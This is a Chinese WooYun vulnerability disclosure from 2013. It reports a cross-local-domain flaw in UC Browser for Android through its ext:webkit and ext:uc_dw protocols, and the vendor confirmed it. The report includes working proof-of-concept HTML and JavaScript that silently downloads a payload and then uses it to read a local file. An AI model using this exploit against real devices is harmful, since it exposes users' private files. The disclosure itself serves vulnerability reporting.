当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045390

漏洞标题:UC浏览器跨本地域漏洞可获取本地文件内容

相关厂商:UC Mobile

漏洞作者: 爱梅小礼

提交时间:2013-12-09 15:58

修复时间:2014-03-09 15:59

公开时间:2014-03-09 15:59

漏洞类型:非授权访问/认证绕过

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-09: 细节已通知厂商并且等待厂商处理中
2013-12-09: 厂商已经确认,细节仅向厂商公开
2013-12-12: 细节向第三方安全合作伙伴开放
2014-02-02: 细节向核心白帽子及相关领域专家公开
2014-02-12: 细节向普通白帽子公开
2014-02-22: 细节向实习白帽子公开
2014-03-09: 细节向公众公开

简要描述:

跨本地域,可获取指定路径的的本地文件。

详细说明:

测试版本:V9.4.1.362
ext:webkit协议可导致HTTP->file的跨域

<iframe src=ext:webkit:file:///mnt/sdcard/UCDownloads/localexec_payload.html></iframe>


为了更好的演示,写了个exp,思路比较常规:
UC浏览器现在与Chrome类似,下载文件都没有提示,而且下载的文件为固定路径(/mnt/sdcard/UCDownloads/),这样我的思路就是先让浏览器将payload下载到本地,然后再跨本地域去执行它:
exp.html:

<html>
<head><title>UC浏览器EXT协议跨域</title></head>
<body>
<iframe src=ext:uc_dw:http://127.0.0.1:8888/localexec_payload.html></iframe>
</body>
<script>
setTimeout("document.body.innerHTML='<iframe src=ext:webkit:file:///mnt/sdcard/UCDownloads/localexec_payload.html></iframe>'",5000);
</script>
</html>


ext:uc_dw协议是内置的下载文件的协议,即便是没有这个协议,也可以通过webserver的下载头实现下载html格式的文件。等待五秒钟,待下载完成后进行跨域执行localexec_payload.html。
localexec_payload.html内容为:

<html>
<script>function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
alert(d.body.innerHTML);
}
</script>
<iframe id=hi src=file:///mnt/sdcard/target.txt onload=inject()></iframe>
</html>


其中target.txt便是我们要读取的本地文件。

漏洞证明:

再次拿出我的大华为P1,手机上搭建了个webserver

UC访问http://127.0.0.1:8888/exp.html
显示有文件下载,如图所示:

1.png


等待五秒钟后,获取到target.txt的内容并弹窗提示:

2.png

修复方案:

很简单.

版权声明:转载请注明来源 爱梅小礼@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-09 18:42

厂商回复:

漏洞的确存在,已联系研发处理,非常感谢爱梅小礼提交的漏洞信息。

最新状态:

暂无